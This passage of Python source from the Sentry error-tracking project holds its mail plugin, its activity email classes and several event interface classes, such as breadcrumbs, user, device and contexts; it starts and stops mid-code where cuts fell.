            rules.append((rule.label, rule_link))

        enhanced_privacy = org.flags.enhanced_privacy

        context = {
            'project_label': project.get_full_name(),
            'group': group,
            'event': event,
            'link': link,
            'rules': rules,
            'enhanced_privacy': enhanced_privacy,
        }

        # if the organization has enabled enhanced privacy controls we dont send
        # data which may show PII or source code
        if not enhanced_privacy:
            interface_list = []
            for interface in six.itervalues(event.interfaces):
                body = interface.to_email_html(event)
                if not body:
                    continue
                text_body = interface.to_string(event)
                interface_list.append(
                    (interface.get_title(), mark_safe(body), text_body)
                )

            context.update({
                'tags': event.get_tags(),
                'interfaces': interface_list,
            })

        headers = {
            'X-Sentry-Logger': group.logger,
            'X-Sentry-Logger-Level': group.get_level_display(),
            'X-Sentry-Team': project.team.name,
            'X-Sentry-Project': project.name,
            'X-Sentry-Reply-To': group_id_to_email(group.id),
        }

        for user_id in self.get_send_to(project):
            self.add_unsubscribe_link(context, user_id, project)
            self._send_mail(
                subject=subject,
                template=template,
                html_template=html_template,
                project=project,
                reference=group,
                headers=headers,
                type='notify.error',
                context=context,
                send_to=[user_id],
            )

    def notify_digest(self, project, digest):
        start, end, counts = get_digest_metadata(digest)

        # If there is only one group in this digest (regardless of how many
        # rules it appears in), we should just render this using the single
        # notification template. If there is more than one record for a group,
        # just choose the most recent one.
        if len(counts) == 1:
            group = six.next(iter(counts))
            record = max(
                itertools.chain.from_iterable(
                    groups.get(group, []) for groups in six.itervalues(digest),
                ),
                key=lambda record: record.timestamp,
            )
            notification = Notification(record.value.event, rules=record.value.rules)
            return self.notify(notification)

        context = {
            'start': start,
            'end': end,
            'project': project,
            'digest': digest,
            'counts': counts,
        }

        for user_id in self.get_send_to(project):
            self.add_unsubscribe_link(context, user_id, project)
            self._send_mail(
                subject=render_to_string('sentry/emails/digests/subject.txt', context).rstrip(),
                template='sentry/emails/digests/body.txt',
                html_template='sentry/emails/digests/body.html',
                project=project,
                type='notify.digest',
                context=context,
                send_to=[user_id],
            )

    def notify_about_activity(self, activity):
        email_cls = emails.get(activity.type)
        if not email_cls:
            logger.debug('No email associated with activity type `{}`'.format(
                activity.get_type_display(),
            ))
            return

        email = email_cls(activity)
        email.send()


# Legacy compatibility
MailProcessor = MailPlugin

register(MailPlugin)






"""
sentry.plugins.sentry_mail
~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






from __future__ import absolute_import

from .base import ActivityEmail


class ResolvedActivityEmail(ActivityEmail):
    def get_activity_name(self):
        return 'Resolved Issue'

    def get_description(self):
        return u'{author} marked {an issue} as resolved'






from __future__ import absolute_import

from sentry.utils.html import escape
from sentry.utils.http import absolute_uri

from .base import ActivityEmail


class ResolvedInReleaseActivityEmail(ActivityEmail):
    def get_activity_name(self):
        return 'Resolved Issue'

    def get_description(self):
        data = self.activity.data
        if data.get('version'):
            return u'{author} marked {an issue} as resolved in {version}', {
                'version': data['version'],
            }, {
                'version': u'<a href="{}">{}</a>'.format(
                    absolute_uri('/{}/{}/releases/{}/'.format(
                        self.organization.slug,
                        self.project.slug,
                        data['version'],
                    )),
                    escape(data['version']),
                )
            }
        return u'{author} marked {an issue} as resolved in an upcoming release'






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from django.utils.html import escape, mark_safe

from sentry import options
from sentry.models import GroupSubscription, ProjectOption, UserAvatar
from sentry.utils.avatar import get_email_avatar
from sentry.utils.email import MessageBuilder, group_id_to_email
from sentry.utils.http import absolute_uri
from sentry.utils.linksign import generate_signed_link


class ActivityEmail(object):
    def __init__(self, activity):
        self.activity = activity
        self.project = activity.project
        self.organization = self.project.organization
        self.group = activity.group

    def _get_subject_prefix(self):
        prefix = ProjectOption.objects.get_value(
            project=self.project,
            key='subject_prefix',
        )
        if not prefix:
            prefix = options.get('mail.subject-prefix')
        return prefix

    def should_email(self):
        return True

    def get_participants(self):
        # TODO(dcramer): not used yet today except by Release's
        if not self.group:
            return []
        return [
            u for u in
            GroupSubscription.objects.get_participants(
                group=self.group,
            )
            if u != self.activity.user
        ]

    def get_template(self):
        return 'sentry/emails/activity/generic.txt'

    def get_html_template(self):
        return 'sentry/emails/activity/generic.html'

    def get_project_link(self):
        return absolute_uri('/{}/{}/'.format(
            self.organization.slug,
            self.project.slug,
        ))

    def get_group_link(self):
        return absolute_uri('/{}/{}/issues/{}/'.format(
            self.organization.slug,
            self.project.slug,
            self.group.id,
        ))

    def get_base_context(self):
        activity = self.activity

        context = {
            'data': activity.data,
            'author': activity.user,
            'project': self.project,
            'project_link': self.get_project_link(),
        }
        if activity.group:
            context.update(self.get_group_context())
        return context

    def get_group_context(self):
        group_link = self.get_group_link()
        activity_link = '{}activity/'.format(group_link)

        return {
            'group': self.group,
            'link': group_link,
            'activity_link': activity_link,
        }

    def get_email_type(self):
        return 'notify.activity.{}'.format(
            self.activity.get_type_display(),
        )

    def get_subject(self):
        group = self.group

        return u'[%s] %s: %s' % (
            self.project.get_full_name(),
            group.get_level_display().upper(),
            group.message_short
        )

    def get_context(self):
        description = self.get_description()
        try:
            description, params, html_params = description
        except ValueError:
            try:
                description, params = description
                html_params = params
            except ValueError:
                params, html_params = {}, {}

        return {
            'activity_name': self.get_activity_name(),
            'text_description': self.description_as_text(
                description, params),
            'html_description': self.description_as_html(
                description, html_params),
        }

    def get_headers(self):
        project = self.project
        group = self.group

        headers = {
            'X-Sentry-Team': project.team.slug,
            'X-Sentry-Project': project.slug,
        }

        if group:
            headers.update({
                'X-Sentry-Logger': group.logger,
                'X-Sentry-Logger-Level': group.get_level_display(),
                'X-Sentry-Reply-To': group_id_to_email(group.id),
            })

        return headers

    def get_description(self):
        raise NotImplementedError

    def avatar_as_html(self):
        user = self.activity.user
        if not user:
            return '<span class="avatar sentry"></span>'
        avatar_type = user.get_avatar_type()
        if avatar_type == 'upload':
            return '<img class="avatar" src="{}" />'.format(
                escape(self._get_user_avatar_url(user))
            )
        elif avatar_type == 'letter_avatar':
            return get_email_avatar(
                user.get_display_name(), user.get_label(), 20, False)
        else:
            return get_email_avatar(
                user.get_display_name(), user.get_label(), 20, True)

    def _get_user_avatar_url(self, user, size=20):
        try:
            avatar = UserAvatar.objects.get(user=user)
        except UserAvatar.DoesNotExist:
            return ''

        url = reverse('sentry-user-avatar-url', args=[avatar.ident])
        if size:
            url = '{}?s={}'.format(url, int(size))
        return absolute_uri(url)

    def description_as_text(self, description, params):
        user = self.activity.user
        if user:
            name = user.name or user.email
        else:
            name = u'Sentry'

        context = {
            'author': name,
            'an issue': u'an issue',
        }
        context.update(params)

        return description.format(**context)

    def description_as_html(self, description, params):
        user = self.activity.user
        if user:
            name = user.get_display_name()
        else:
            name = 'Sentry'

        fmt = u'<span class="avatar-container">{}</span> <strong>{}</strong>'

        author = mark_safe(fmt.format(
            self.avatar_as_html(),
            escape(name),
        ))

        an_issue = u'<a href="{}">an issue</a>'.format(
            escape(self.get_group_link()),
        )

        context = {
            'author': author,
            'an issue': an_issue,
        }
        context.update(params)

        return mark_safe(description.format(**context))

    def send(self):
        if not self.should_email():
            return

        users = self.get_participants()
        if not users:
            return

        activity = self.activity
        project = self.project
        group = self.group

        context = self.get_base_context()
        context.update(self.get_context())

        subject_prefix = self._get_subject_prefix()

        subject = (u'{}{}'.format(
            subject_prefix,
            self.get_subject(),
        )).encode('utf-8')
        template = self.get_template()
        html_template = self.get_html_template()
        email_type = self.get_email_type()
        headers = self.get_headers()

        for user in users:
            if group:
                context['unsubscribe_link'] = generate_signed_link(
                    user.id,
                    'sentry-account-email-unsubscribe-issue',
                    kwargs={'issue_id': group.id},
                )

            msg = MessageBuilder(
                subject=subject,
                template=template,
                html_template=html_template,
                headers=headers,
                type=email_type,
                context=context,
                reference=activity,
                reply_reference=group,
            )
            msg.add_users([user.id], project=project)
            msg.send_async()






from __future__ import absolute_import

from .base import ActivityEmail


class UnassignedActivityEmail(ActivityEmail):
    def get_activity_name(self):
        return 'Unassigned'

    def get_description(self):
        return u'{author} unassigned {an issue}'






from __future__ import absolute_import

from sentry.models import Activity

from .assigned import AssignedActivityEmail
from .note import NoteActivityEmail
from .regression import RegressionActivityEmail
from .resolved import ResolvedActivityEmail
from .resolved_in_release import ResolvedInReleaseActivityEmail
from .unassigned import UnassignedActivityEmail

emails = {
    Activity.ASSIGNED: AssignedActivityEmail,
    Activity.NOTE: NoteActivityEmail,
    Activity.SET_REGRESSION: RegressionActivityEmail,
    Activity.SET_RESOLVED: ResolvedActivityEmail,
    Activity.SET_RESOLVED_IN_RELEASE: ResolvedInReleaseActivityEmail,
    Activity.UNASSIGNED: UnassignedActivityEmail,
}






from __future__ import absolute_import

from sentry.utils.html import escape
from sentry.utils.http import absolute_uri

from .base import ActivityEmail


class RegressionActivityEmail(ActivityEmail):
    def get_activity_name(self):
        return 'Regression'

    def get_description(self):
        data = self.activity.data
        if data.get('version'):
            return u'{author} marked {an issue} as a regression in {version}', {
                'version': data['version']
            }, {
                'version': u'<a href="{}">{}</a>'.format(
                    absolute_uri('/{}/{}/releases/{}/'.format(
                        self.organization.slug,
                        self.project.slug,
                        data['version'],
                    )),
                    escape(data['version']),
                )
            }

        return u'{author} marked {an issue} as a regression'






from __future__ import absolute_import

from .base import ActivityEmail


class NoteActivityEmail(ActivityEmail):
    def get_context(self):
        return {}

    def get_template(self):
        return 'sentry/emails/activity/note.txt'

    def get_html_template(self):
        return 'sentry/emails/activity/note.html'






from __future__ import absolute_import

import six

from sentry.models import User

from .base import ActivityEmail


class AssignedActivityEmail(ActivityEmail):
    def get_activity_name(self):
        return 'Assigned'

    def get_description(self):
        activity = self.activity
        data = activity.data
        if activity.user_id and six.text_type(activity.user_id) == data['assignee']:
            return u'{author} assigned {an issue} to themselves'

        try:
            assignee = User.objects.get_from_cache(id=data['assignee'])
        except User.DoesNotExist:
            pass
        else:
            return u'{author} assigned {an issue} to {assignee}', {
                'assignee': assignee.get_display_name(),
            }

        if data.get('assigneeEmail'):
            return u'{author} assigned {an issue} to {assignee}', {
                'assignee': data['assigneeEmail'],
            }

        return u'{author} assigned {an issue} to an unknown user'






"""
sentry.interfaces.breadcrumbs
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

__all__ = ('Breadcrumbs',)

import six

from sentry.interfaces.base import Interface, InterfaceValidationError
from sentry.utils.safe import trim
from sentry.utils.dates import to_timestamp, to_datetime, parse_timestamp


def _get_implied_category(category, type):
    if category is not None:
        return category
    if type in ('critical', 'error', 'warning', 'info', 'debug'):
        return type
    # Common aliases
    if type == 'warn':
        return 'warning'
    elif type == 'fatal':
        return 'critical'
    return 'info'


class Breadcrumbs(Interface):
    """
    This interface stores information that leads up to an error.

    - ``message`` must be no more than 1000 characters in length.

    >>> [{
    >>>     "type": "message",
    >>>     // timestamp can be ISO format or a unix timestamp (as float)
    >>>     "timestamp": "2016-01-17T12:30:00",
    >>>     "data": {
    >>>         "message": "My raw message with interpreted strings like %s",
    >>>     }
    >>> ], ...}
    """
    display_score = 1100
    score = 800

    @classmethod
    def to_python(cls, data):
        values = []
        for crumb in data.get('values') or ():
            values.append(cls.normalize_crumb(crumb))
        return cls(values=values)

    @classmethod
    def normalize_crumb(cls, crumb):
        ty = crumb.get('type') or 'default'
        ts = parse_timestamp(crumb.get('timestamp'))
        if ts is None:
            raise InterfaceValidationError('Unable to determine timestamp '
                                           'for crumb')

        rv = {
            'type': ty,
            'timestamp': to_timestamp(ts),
        }

        level = crumb.get('level')
        if level not in (None, 'info'):
            rv['level'] = level

        msg = crumb.get('message')
        if msg is not None:
            rv['message'] = trim(six.text_type(msg), 4096)

        category = crumb.get('category')
        if category is not None:
            rv['category'] = trim(six.text_type(category), 256)

        event_id = crumb.get('event_id')
        if event_id is not None:
            rv['event_id'] = event_id

        if 'data' in crumb:
            rv['data'] = trim(crumb['data'], 4096)

        return rv

    def get_path(self):
        return 'sentry.interfaces.Breadcrumbs'

    def get_alias(self):
        return 'breadcrumbs'

    def get_api_context(self, is_public=False):
        def _convert(x):
            return {
                'type': x['type'],
                'timestamp': to_datetime(x['timestamp']),
                'level': x.get('level', 'info'),
                'message': x.get('message'),
                'category': x.get('category'),
                'data': x.get('data') or None,
                'event_id': x.get('event_id'),
            }
        return {
            'values': [_convert(v) for v in self.values],
        }






"""
sentry.interfaces.template
~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

__all__ = ('Template',)

from sentry.interfaces.base import Interface
from sentry.interfaces.stacktrace import get_context
from sentry.utils.safe import trim


class Template(Interface):
    """
    A rendered template (generally used like a single frame in a stacktrace).

    The attributes ``filename``, ``context_line``, and ``lineno`` are required.

    >>>  {
    >>>     "abs_path": "/real/file/name.html"
    >>>     "filename": "file/name.html",
    >>>     "pre_context": [
    >>>         "line1",
    >>>         "line2"
    >>>     ],
    >>>     "context_line": "line3",
    >>>     "lineno": 3,
    >>>     "post_context": [
    >>>         "line4",
    >>>         "line5"
    >>>     ],
    >>> }

    .. note:: This interface can be passed as the 'template' key in addition
              to the full interface path.
    """
    score = 1100

    @classmethod
    def to_python(cls, data):
        assert data.get('filename')
        assert data.get('context_line')
        assert data.get('lineno')

        kwargs = {
            'abs_path': trim(data.get('abs_path', None), 256),
            'filename': trim(data['filename'], 256),
            'context_line': trim(data.get('context_line', None), 256),
            'lineno': int(data['lineno']),
            # TODO(dcramer): trim pre/post_context
            'pre_context': data.get('pre_context'),
            'post_context': data.get('post_context'),
        }
        return cls(**kwargs)

    def get_alias(self):
        return 'template'

    def get_path(self):
        return 'sentry.interfaces.Template'

    def get_hash(self):
        return [self.filename, self.context_line]

    def to_string(self, event, is_public=False, **kwargs):
        context = get_context(
            lineno=self.lineno,
            context_line=self.context_line,
            pre_context=self.pre_context,
            post_context=self.post_context,
            filename=self.filename,
        )

        result = [
            'Stacktrace (most recent call last):', '',
            self.get_traceback(event, context)
        ]

        return '\n'.join(result)

    def get_traceback(self, event, context):
        result = [
            event.message, '',
            'File "%s", line %s' % (self.filename, self.lineno), '',
        ]
        result.extend([n[1].strip('\n') for n in context])

        return '\n'.join(result)

    def get_api_context(self, is_public=False):
        return {
            'lineNo': self.lineno,
            'filename': self.filename,
            'context': get_context(
                lineno=self.lineno,
                context_line=self.context_line,
                pre_context=self.pre_context,
                post_context=self.post_context,
                filename=self.filename,
            ),
        }






from __future__ import absolute_import

__all__ = ('Sdk',)

from distutils.version import LooseVersion
from django.conf import settings

from sentry.interfaces.base import Interface, InterfaceValidationError
from sentry.utils.safe import trim


class Sdk(Interface):
    """
    The SDK used to transmit this event.

    >>> {
    >>>     "name": "sentry-unity",
    >>>     "version": "1.0"
    >>> }
    """
    @classmethod
    def to_python(cls, data):
        name = data.get('name')
        if not name:
            raise InterfaceValidationError("No 'name' value")

        version = data.get('version')
        if not version:
            raise InterfaceValidationError("No 'version' value")

        kwargs = {
            'name': trim(name, 128),
            'version': trim(version, 128),
            'client_ip': data.get('client_ip'),
        }
        return cls(**kwargs)

    def get_path(self):
        return 'sdk'

    def get_api_context(self):
        newest_version = settings.SDK_VERSIONS.get(self.name)
        newest_name = settings.DEPRECATED_SDKS.get(self.name, self.name)
        if newest_version is not None:
            try:
                is_newer = (
                    newest_name != self.name or
                    LooseVersion(newest_version) > LooseVersion(self.version)
                )
            except ValueError:
                is_newer = False
        else:
            is_newer = newest_name != self.name

        return {
            'name': self.name,
            'version': self.version,
            'clientIP': self.client_ip,
            'upstream': {
                'name': newest_name,
                # when this is correct we can make it available
                # 'version': newest_version,
                'isNewer': is_newer,
                'url': settings.SDK_URLS.get(newest_name),
            },
        }






"""
sentry.interfaces.applecrash
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2016 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

__all__ = ('AppleCrashReport',)

from sentry.interfaces.base import Interface, InterfaceValidationError


class AppleCrashReport(Interface):
    """
    An apple crash report in JSON format.  This typically gets converted
    into other interfaces as part of the processing.

    >>> {
    >>>     "crash": {...}
    >>> }
    """

    ephemeral = True

    @classmethod
    def to_python(cls, data):
        if not data.get('crash'):
            raise InterfaceValidationError("No 'crash' present")
        if not data.get('binary_images'):
            raise InterfaceValidationError("No 'binary_images' present")

        kwargs = {
            'crash': data['crash'],
            'system': data.get('system') or {},
            'binary_images': data['binary_images'],
        }

        return cls(**kwargs)

    def get_path(self):
        return 'sentry.interfaces.AppleCrashReport'






from __future__ import absolute_import

import six

from django.conf import settings
from django.utils.translation import ugettext as _

from sentry.utils.html import escape
from sentry.utils.imports import import_string


def iter_interfaces():
    rv = {}

    for name, import_path in six.iteritems(settings.SENTRY_INTERFACES):
        rv.setdefault(import_path, []).append(name)

    for import_path, keys in six.iteritems(rv):
        iface = import_string(import_path)
        yield iface, keys


def get_interface(name):
    try:
        import_path = settings.SENTRY_INTERFACES[name]
    except KeyError:
        raise ValueError('Invalid interface name: %s' % (name,))

    try:
        interface = import_string(import_path)
    except Exception:
        raise ValueError('Unable to load interface: %s' % (name,))

    return interface


class InterfaceValidationError(Exception):
    pass


class Interface(object):
    """
    An interface is a structured representation of data, which may
    render differently than the default ``extra`` metadata in an event.
    """

    _data = None
    score = 0
    display_score = None
    ephemeral = False

    def __init__(self, **data):
        self._data = data or {}

    def __eq__(self, other):
        if type(self) != type(other):
            return False
        return self._data == other._data

    def __getstate__(self):
        return {'_data': self._data}

    def __setstate__(self, state):
        self.__dict__.update(state)
        if not hasattr(self, '_data'):
            self._data = {}

    def __getattr__(self, name):
        return self._data[name]

    def __setattr__(self, name, value):
        if name == '_data':
            self.__dict__['_data'] = value
        else:
            self._data[name] = value

    @classmethod
    def to_python(cls, data):
        return cls(data)

    def get_api_context(self, is_public=False):
        return self.to_json()

    def to_json(self):
        # eliminate empty values for serialization to compress the keyspace
        # and save (seriously) ridiculous amounts of bytes
        # XXX(dcramer): its important that we keep zero values here, but empty
        # lists and strings get discarded as we've deemed them not important
        return dict(
            (k, v) for k, v in six.iteritems(self._data) if (v == 0 or v)
        )

    def get_path(self):
        cls = type(self)
        return '%s.%s' % (cls.__module__, cls.__name__)

    def get_alias(self):
        return self.get_slug()

    def get_hash(self):
        return []

    def compute_hashes(self, platform):
        result = self.get_hash()
        if not result:
            return []
        return [result]

    def get_slug(self):
        return type(self).__name__.lower()

    def get_title(self):
        return _(type(self).__name__)

    def get_display_score(self):
        return self.display_score or self.score

    def get_score(self):
        return self.score

    def iter_tags(self):
        return iter(())

    def to_string(self, event, is_public=False, **kwargs):
        return ''

    def to_email_html(self, event, **kwargs):
        body = self.to_string(event)
        if not body:
            return ''
        return '<pre>%s</pre>' % (escape(body),)






"""
sentry.interfaces.query
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

__all__ = ('Query',)

from sentry.interfaces.base import Interface, InterfaceValidationError
from sentry.utils.safe import trim


class Query(Interface):
    """
    A SQL query with an optional string describing the SQL driver, ``engine``.

    >>> {
    >>>     "query": "SELECT 1"
    >>>     "engine": "psycopg2"
    >>> }
    """
    @classmethod
    def to_python(cls, data):
        if not data.get('query'):
            raise InterfaceValidationError("No 'query' value")

        kwargs = {
            'query': trim(data['query'], 1024),
            'engine': trim(data.get('engine'), 128),
        }
        return cls(**kwargs)

    def get_hash(self):
        return [self.query]

    def get_path(self):
        return 'sentry.interfaces.Query'






"""
sentry.interfaces.user
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

__all__ = ('User',)

import six

from sentry.interfaces.base import Interface, InterfaceValidationError
from sentry.utils.safe import trim, trim_dict
from sentry.web.helpers import render_to_string
from sentry.utils.validators import validate_ip


def validate_email(value, required=True):
    if not required and not value:
        return

    if not isinstance(value, six.string_types):
        raise ValueError('object of type %r is not an email address' % type(value).__name__)

    # safe to assume an email address at least has a @ in it.
    if '@' not in value:
        raise ValueError('malformed email address')
    return value


class User(Interface):
    """
    An interface which describes the authenticated User for a request.

    You should provide **at least** either an `id` (a unique identifier for
    an authenticated user) or `ip_address` (their IP address).

    All other attributes are optional.

    >>> {
    >>>     "id": "unique_id",
    >>>     "username": "my_user",
    >>>     "email": "foo@example.com"
    >>>     "ip_address": "127.0.0.1",
    >>>     "optional": "value"
    >>> }
    """
    @classmethod
    def to_python(cls, data):
        data = data.copy()

        extra_data = data.pop('data', data)
        if not isinstance(extra_data, dict):
            extra_data = {}

        ident = trim(data.pop('id', None), 128)
        if ident:
            ident = six.text_type(ident)
        try:
            email = trim(validate_email(data.pop('email', None), False), 128)
        except ValueError:
            raise InterfaceValidationError("Invalid value for 'email'")
        username = trim(data.pop('username', None), 128)
        if username:
            username = six.text_type(username)

        try:
            ip_address = validate_ip(data.pop('ip_address', None), False)
        except ValueError:
            raise InterfaceValidationError("Invalid value for 'ip_address'")

        # TODO(dcramer): patch in fix to deal w/ old data but not allow new
        # if not (ident or email or username or ip_address):
        #     raise ValueError('No identifying value')

        kwargs = {
            'id': ident,
            'email': email,
            'username': username,
            'ip_address': ip_address,
        }

        kwargs['data'] = trim_dict(extra_data)
        return cls(**kwargs)

    def get_api_context(self, is_public=False):
        return {
            'id': self.id,
            'email': self.email,
            'username': self.username,
            'ipAddress': self.ip_address,
            'data': self.data,
        }

    def get_path(self):
        return 'sentry.interfaces.User'

    def get_hash(self):
        return []

    def get_display_name(self):
        return self.email or self.username

    def get_label(self):
        return self.email or self.username or self.id or self.ip_address

    def to_email_html(self, event, **kwargs):
        context = {
            'user_id': self.id,
            'user_email': self.email,
            'user_username': self.username,
            'user_ip_address': self.ip_address,
            'user_data': self.data,
            'user': self,
        }
        return render_to_string('sentry/partial/interfaces/user_email.html', context)






from __future__ import absolute_import

__all__ = ('DebugMeta',)

from sentry.interfaces.base import Interface, InterfaceValidationError
from sentry.utils.native import parse_addr


image_types = {}


def imagetype(name):
    def decorator(f):
        image_types[name] = f
        return f
    return decorator


@imagetype('apple')
def process_apple_image(image):
    def _addr(x):
        return '0x%x' % parse_addr(x)
    try:
        return {
            'cpu_type': image['cpu_type'],
            'cpu_subtype': image['cpu_subtype'],
            'image_addr': _addr(image['image_addr']),
            'image_size': image['image_size'],
            'image_vmaddr': _addr(image.get('image_vmaddr') or 0),
            'name': image['name'],
            'uuid': image['uuid'],
        }
    except KeyError as e:
        raise InterfaceValidationError('Missing value for apple image: %s'
                                       % e.args[0])


class DebugMeta(Interface):
    """
    Holds debug meta information information for processing stacktraces
    and similar things.  This information is deleted after event processing.

    Currently two attributes exist:

    ``sdk_info``:
        sets the SDK that is used for the system.  This affects the lookup
        for system symbols.  If not defined, system symbols are not looked up.
    ``images``:
        a list of debug images and their mappings.
    """

    ephemeral = True

    @classmethod
    def to_python(cls, data):
        if 'images' not in data:
            raise InterfaceValidationError('Missing key "images"')
        return cls(
            images=[cls.normalize_image(x) for x in data['images']],
            sdk_info=cls.normalize_sdk_info(data.get('sdk_info')),
        )

    @staticmethod
    def normalize_image(image):
        ty = image.get('type')
        if not ty:
            raise InterfaceValidationError('Image type not provided')
        func = image_types.get(ty)
        if func is None:
            raise InterfaceValidationError('Unknown image type %r' % image)
        rv = func(image)
        assert 'uuid' in rv, 'debug image normalizer did not produce a UUID'
        assert 'image_addr' in rv, 'debug image normalizer did not ' \
            'produce an object address'
        rv['type'] = ty
        return rv

    @staticmethod
    def normalize_sdk_info(sdk_info):
        if not sdk_info:
            return None
        try:
            return {
                'dsym_type': sdk_info.get('dsym_type') or 'none',
                'sdk_name': sdk_info['sdk_name'],
                'version_major': sdk_info['version_major'],
                'version_minor': sdk_info['version_minor'],
                'version_patchlevel': sdk_info.get('version_patchlevel') or 0,
            }
        except KeyError as e:
            raise InterfaceValidationError('Missing value for sdk_info: %s'
                                           % e.args[0])

    def get_path(self):
        return 'debug_meta'






from __future__ import absolute_import

__all__ = ('Device',)

from sentry.interfaces.base import Interface, InterfaceValidationError
from sentry.utils.safe import trim, trim_dict


class Device(Interface):
    """
    An interface which describes the device.

    >>> {
    >>>     "name": "Windows",
    >>>     "version": "95",
    >>>     "build": "95.0.134.1651",
    >>>     "arbitrary": "data"
    >>> }
    """
    @classmethod
    def to_python(cls, data):
        data = data.copy()

        extra_data = data.pop('data', data)
        if not isinstance(extra_data, dict):
            extra_data = {}

        try:
            name = trim(data.pop('name'), 64)
        except KeyError:
            raise InterfaceValidationError("Missing or invalid value for 'name'")

        try:
            version = trim(data.pop('version'), 64)
        except KeyError:
            raise InterfaceValidationError("Missing or invalid value for 'version'")

        build = trim(data.pop('build', None), 64)

        kwargs = {
            'name': name,
            'version': version,
            'build': build,
            'data': trim_dict(extra_data),
        }
        return cls(**kwargs)

    def get_api_context(self, is_public=False):
        return {
            'name': self.name,
            'version': self.version,
            'build': self.build,
            'data': self.data,
        }

    def get_path(self):
        return 'device'

    def get_hash(self):
        return []






"""
sentry.interfaces.contexts
~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import six
import string

from django.utils.encoding import force_text

from sentry.utils.safe import trim
from sentry.interfaces.base import Interface


__all__ = ('Contexts',)

context_types = {}


class _IndexFormatter(string.Formatter):

    def format_field(self, value, format_spec):
        if not format_spec and isinstance(value, bool):
            return value and 'yes' or 'no'
        return string.Formatter.format_field(self, value, format_spec)


def format_index_expr(format_string, data):
    return six.text_type(_IndexFormatter().vformat(
        six.text_type(format_string), (), data).strip())


def contexttype(name):
    def decorator(cls):
        cls.type = name
        context_types[name] = cls
        return cls
    return decorator


class ContextType(object):
    indexed_fields = None

    def __init__(self, alias, data):
        self.alias = alias
        ctx_data = {}
        for key, value in six.iteritems(trim(data)):
            # we use simple checks here, rathern than ' in set()' to avoid
            # issues with maps/lists
            if value is not None and value != '':
                ctx_data[force_text(key)] = value
        self.data = ctx_data

    def to_json(self):
        rv = dict(self.data)
        rv['type'] = self.type
        return rv

    def iter_tags(self):
        if self.indexed_fields:
            for field, f_string in six.iteritems(self.indexed_fields):
                try:
                    value = format_index_expr(f_string, self.data)
                except KeyError:
                    continue
                if value:
                    if not field:
                        yield (self.alias, value)
                    else:
                        yield ('%s.%s' % (self.alias, field), value)


# TODO(dcramer): contexts need to document/describe expected (optional) fields
@contexttype('default')
class DefaultContextType(ContextType):
    pass


@contexttype('device')
class DeviceContextType(ContextType):
    indexed_fields = {
        '': u'{model}',
        'family': u'{family}',
    }
    # model_id, arch


@contexttype('runtime')
class RuntimeContextType(ContextType):
    indexed_fields = {
        '': u'{name} {version}',
        'name': u'{name}',
    }


@contexttype('browser')
class BrowserContextType(ContextType):
    indexed_fields = {
        '': u'{name} {version}',
        'name': u'{name}',
    }
    # viewport


@contexttype('os')
class OsContextType(ContextType):
    indexed_fields = {
        '': u'{name} {version}',
        'name': u'{name}',
        'rooted': u'{rooted}',
    }
    # build, rooted


class Contexts(Interface):
    """
    This interface stores context specific information.
    """
    display_score = 1100
    score = 800

    @classmethod
    def to_python(cls, data):
        rv = {}
        for alias, value in six.iteritems(data):
            rv[alias] = cls.normalize_context(alias, value)
        return cls(**rv)

    @classmethod
    def normalize_context(cls, alias, data):
        ctx_type = data.get('type', alias)
        ctx_cls = context_types.get(ctx_type, DefaultContextType)
        return ctx_cls(alias, data)

    def iter_contexts(self):
        return six.itervalues(self._data)

    def to_json(self):
        rv = {}
        for alias, inst in six.iteritems(self._data):
            rv[alias] = inst.to_json()
        return rv

    def iter_tags(self):
        for inst in self.iter_contexts():
            for tag in inst.iter_tags():
                yield tag

    def get_path(self):
        return 'contexts'






"""
sentry.interfaces
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






"""
sentry.interfaces.message
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

__all__ = ('Message',)

import six

from django.conf import settings

from sentry.interfaces.base import Interface, InterfaceValidationError
from sentry.utils import json
from sentry.utils.safe import trim


class Message(Interface):
    """
    A standard message consisting of a ``message`` arg, an an optional
    ``params`` arg for formatting, and an optional ``formatted`` message which
    is the result of ``message`` combined with ``params``.

    If your message cannot be parameterized, then the message interface
    will serve no benefit.

    - ``message`` must be no more than 1000 characters in length.

    >>> {
    >>>     "message": "My raw message with interpreted strings like %s",
    >>>     "formatted": "My raw message with interpreted strings like this",
    >>>     "params": ["this"]
    >>> }
    """
    score = 0
    display_score = 2050

    @classmethod
    def to_python(cls, data):
        if not data.get('message'):
            raise InterfaceValidationError("No 'message' present")

        # TODO(dcramer): some day we should stop people from sending arbitrary
        # crap to the server
        if not isinstance(data['message'], six.string_types):
            data['message'] = json.dumps(data['message'])

        kwargs = {
            'message': trim(data['message'], settings.SENTRY_MAX_MESSAGE_LENGTH),
            'formatted': data.get('formatted'),
        }

        if data.get('params'):
            kwargs['params'] = trim(data['params'], 1024)
        else:
            kwargs['params'] = ()

        if kwargs['formatted']:
            if not isinstance(kwargs['formatted'], six.string_types):
                data['formatted'] = json.dumps(data['formatted'])
        # support python-esque formatting (e.g. %s)
